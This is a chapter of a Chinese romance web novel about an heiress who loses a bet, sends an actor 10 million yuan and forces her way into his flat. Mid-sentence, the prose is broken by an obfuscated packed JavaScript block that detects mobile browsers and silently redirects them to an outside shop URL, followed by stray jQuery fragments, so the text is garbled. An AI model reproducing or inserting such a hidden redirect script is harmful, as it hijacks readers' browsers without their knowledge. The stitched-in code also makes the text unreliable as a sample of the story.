滑雪大厅里,来滑雪的人三五成排,零零散散地走着。
因为是高级道,来玩的人几乎都是偏向专业性的玩家,大厅里远不如初级道那样拥挤。
他们随性地聊着天,仿佛即将踏上坡度30的雪道的人不是自己。
可就在这样放松的气氛下,一名原本还抱着板好好走着路的专业玩家,脚下一个踉跄,就要脚绊着脚摔个狗吃屎,好在她手上的的滑雪杆在危机时刻发挥出它的作用,及时撑住地,才没让她在一众亲友面前丢尽颜面。
“靠。”
与她同行的人见此场面毫不留情地大笑:“赖白,你今天怎么回事?哈哈哈,平地上还能拉跨成这样,你还没上道呢。”
赖白借助杆子的支撑站起来,扶了扶头盔,却眼神呆滞,反常地忽视了同伴的嘲笑。
“喂!你到底怎么了?状态这么不对劲?”站在她旁边的异性朋友第一个发现了她的异常,担心问道。
“我没事。”
赖白的脸色已然发生了变化,由开始的呆滞转变为不可置信。
她的双眸渐渐燃起火焰,转头盯上自己身边的同伴,“喂!跟我谈恋爱!”
“我靠!赖白你脑子被摔傻了吧。”方才还担心她状况的异性朋友立即向前躲出了两里地。
赖白扭过头,越想越生气,这才发现自己刚刚摔的那一跤把手机也甩了出去,等她重新把手机捡回来时,通话早就挂断。
她死死盯着手机,黑色的屏幕倒影着她包裹严实的面庞,以及在护目镜的遮挡之下看不清眸色。
攥着手机的手愈发变紧。
怎么会这么快!!啊啊啊,我的限量款兰博基尼!!
当初她为了诓凌江渡一笔钱废了九牛二虎之力,才让她同意跟自己打一个赌,赌的就是谁先谈恋爱。
她当时好不容易抢到了辆兰博基尼,想亲自着手改装,可手上已经没什么流动资金,便想着让凌江渡支援支援。
她也是无聊,本来凭借着两人之间的关系,这笔钱还不还都无所谓,毕竟两家都不差这点钱,只是解个燃眉之急。
可惜她玩心起来了就是要打个赌!
刚把这个想法提出来的时候,凌江渡就嫌弃幼稚,毫不留情地拒绝。
是她认为这个赌约必赢,所以才缠了她好久。
当然凌江渡也没有白答应,她只有一个要求,那就是如果她赢了,就要将那辆全球限量五辆的兰博基尼送给她。
赖白心想也不是不行,就毫不犹豫地答应了。
可她不就是一会儿没有留神吗??事情怎么就变成了这样无法挽回的地步??
谈恋爱??谁??凌江渡谈恋爱?
疯了吗!?
赖白已经生无可恋,以至于滑雪的兴致都所剩无几。
同伴看她兴致缺缺:“真不舒服还是回去吧,别逞能。”
“我没事。”
赖白脸色苍白地摇了摇头,咬紧牙关暗骂:好你个凌江渡!
*
凌江渡看着被挂断的手机,被打扰的烦闷一扫而空。
她起身围上浴巾,走出浴室。
忽而想到了什么,点进微信,却见昨晚上发过去的好友申请依旧冷冰冰地挂在那,看得出来被请求对象根本没有同意的意思。
应该是忙忘记了。
凌江渡想。
于是,她又重新发了一条申请过去,不过这一次,她在申请信息上写上了自己的名字。
随后拿起今天才送到她手上的那份资料。
一打A4纸里,密密麻麻记录着许昭的平生事迹。
她一眼扫过,大致过了一遍,抓住了其中的重点。
许昭父母双亡,由奶奶抚养长大,生活困苦,他一边上学一边协助奶奶在小吃街摆摊,因此学业不算太优异,仅仅上了一个普通的本科。
可时机巧合,他容貌出众,一个路人偷拍的视频偶然在网络上小火了一把,他也被一家名不见转的娱乐公司相中,从此正式进了这个圈子。
凌江渡手指轻柔地拂过“父母双亡”这几个字,喃喃出声:“怎么真的是个小苦瓜。”
她想起昨晚那张倔强地脸,表情一顿。
思绪突然回归到上一世,她表示疑问的那个场景,母亲在和她简短地说了几句后,最后一句轻喃:“只有我能给他最好的。”
这句话,犹如一根轻飘飘的羽毛落在了她的心上,烙下了足够深的印记。
“我也可以给他最好的。”凌江渡出声。
她抬眸,眼中闪烁出狩猎的兴奋:“这个世界上只有我能给他最好的。”
这样说着,她顺手往某个账户转了一千万过去。
看着手机上收到的转账短信,愉悦地勾起嘴角。
*
许昭正窝在家无所事事,白净的脸上敷着一片面膜,嘴里还咬着奶茶的吸管。
没有工作还是有些好处的,他终于可以瘫在床上像蘑菇一样烂掉了。
手不断在购物软件的界面上滑动着,偶尔看见心仪的衣服就加入购物车,就在这时,手机的上方出现一条短信弹窗,因为来自银行,许昭没有多想就点了进去。
却在看清短信内容的一瞬间,被震惊地手指僵硬。
“个十百千万……”
“……”
久久的沉默。
许昭冷着脸,颤抖着手按下了110。
现在骗子的诈骗手段已经需要下这样的血本了吗?
许昭强行保持冷静地想。
他是绝对不会上当的。
绝对不会!
“喂,警察同志您好,我好像被诈骗犯盯上了,请问一下我应该怎么解决?”许昭朝着电话那头的接线员道。
“好的,我这边问一下,具体是怎样的一个情况?”接线员没有多想,按照往常的惯例进行询问。
许昭瞥了一眼手机:“我收到了一笔陌生人的转账。”
“金额多少?”
“一千万。”
接线员发出了震惊的吸气声:“好的,我了解了,您先不要动这笔钱,来一趟警局,我们这边备案。”
接线员的指导令许昭找回了点理智,他松了一口气,挂断电话,立即动身去最近的警局。
现在的诈骗手段层出不穷,谨慎一点最好,更何况以他现在的身家根本经不起骗。
不然他得带着奶奶一起去喝西北风了。
在警局处理完这些回到家时,天边只剩下一抹余辉,离开时被他随手一放的奶茶里面的冰块早就融化,失去了它原有的口感。
没有来的,许昭感到一阵疲惫。
想起今昨两天发生的事,一股无力感直冲大脑。
他脚边的垃圾桶里孤零零地躺着被揉成团的合同,下一秒,奶茶也被丢了进去。
一切的好心情都毁于一旦。
第二天一早,许昭是被敲门声吵醒的。
他揉了揉脑袋上凌乱的头发,拖着还未睡醒的身体,就去开了门。
他虽然是独居,但身为一个成年男性又是大早上的,丝毫没有防备之心,直接将门打开了。
睡眼朦胧地问;“谁?”
“是我。”
凌江渡卷曲的发丝拥挤在脸颊边,此刻她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372576|199993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正笑着,眼睛几乎眯成了一条缝,一缕阳光恰好落在她的头顶,折射出金灿灿的光芒,犹如清晨时闪烁的太阳。
这声音听着熟悉,许昭瞬间醒神,在看清来人是谁后眼睛也眯成了一条缝,脸色不虞。
“是你?你怎么知道我家在这?”
“这不是很简单吗?”凌江渡随口答着。
她没有去观察许昭的脸色,而是直直盯着他身后屋内的布局。
许昭顺着她的视线看去,意识到了什么,把门往里收了收,隔绝她的窥视,目光也变得防备。
凌江渡察觉到他的动作,觉得好笑:“这次把我当贼了?”
“这位女士,我们不熟吧?昨天是跟踪,今天又想私闯民宅,刚好我昨天联系了帽子叔叔,你想不想也和他们见一面?”许昭语气冷硬,他微微拧眉,看起来彻底失去了耐心。
凌江渡有些诧异。
凌江渡很高,一米七五的身高站在一米八三的许昭面前,气势丝毫不弱。
她直视许昭的眼睛,眼里多了几分玩味。
“如果我说我就是要进去呢?”
“我会报警。”
凌江渡的笑容更盛,她无视许昭的抗拒,长腿一伸直接卡进了门缝,纤细的手指轻而易举地将门掰开了一道更大的缝隙。
许昭慢了半拍,反应过来后尝试着用力关门,却又顾忌会夹到这个眼前疯女人的腿,嘴上还在说着:“请你出去!我真的会报警!”
只是他没有料到,这个女人的力气比他想象中还要大很多,哪怕在僵持中他已经无意识用上了全部的力量,也没能成功把门关上。
最后,还是让凌江渡登堂入室。
见此,许昭也放弃了把她赶出家门的想法,转而拿起手机报警。
刚进来的凌江渡先是环顾一眼四周,转眼就看见他拿着手机准备打电话,了然:“你报吧,看看有没有用。”
随后,全然不在乎许昭的表情,随性地坐在了沙发上。
她翘起二郎腿,一副把这里当成自己家的模样。
许昭拨打号码的手顿住,攥着手机的指节用力到泛红。
虽然昨天早上他在她自报家门的时候,装得很不在意,可回到家,他还是去网上搜了搜她口中所谓的凌氏,还真被他搜出来了一些东西。
因此也清楚了这个女人到底是哪里来的底气。
她是他根本招惹不起的存在,只要她动动手指,他就没有一丝活路可以走。
“你到底想要干什么?”他咬着下牙。
凌江渡歪着头,将他的动作都收入眼底,有些迟钝地反应过来他好像生气了。
她感到不解,低头看了看自己今天的打扮。
也不丑啊?
她本人的容貌不论前世还是这一世,都能够算得上是数一数二的存在,按理来说应该很讨人欢喜才对。
更何况,他不是同意了吗?
“我……”
话还没有说完,就被许昭打断:“我不管你想要做什么,这是我家,没有经过我的同意你这就是私闯民宅,是违法的。”
“我想凌总也不想在网上闹得这么难看吧?”他高举起正在摄像的手机。
百年家族?最要面子的吧?
凌江渡看着许昭张牙舞爪的小动作,他的眼睛本来是狭长的丹凤眼,薄薄的眼皮,半扇形的双眼皮褶子,再加上眼尾透着红色,只一双眼睛就尽显清冷之感。
而现在,却因为气愤瞪得微圆。
薄唇微抿着,使得原本苍白的双唇有了几分血色。
凌江渡舒展眉眼,忽然笑了:“你很可爱。”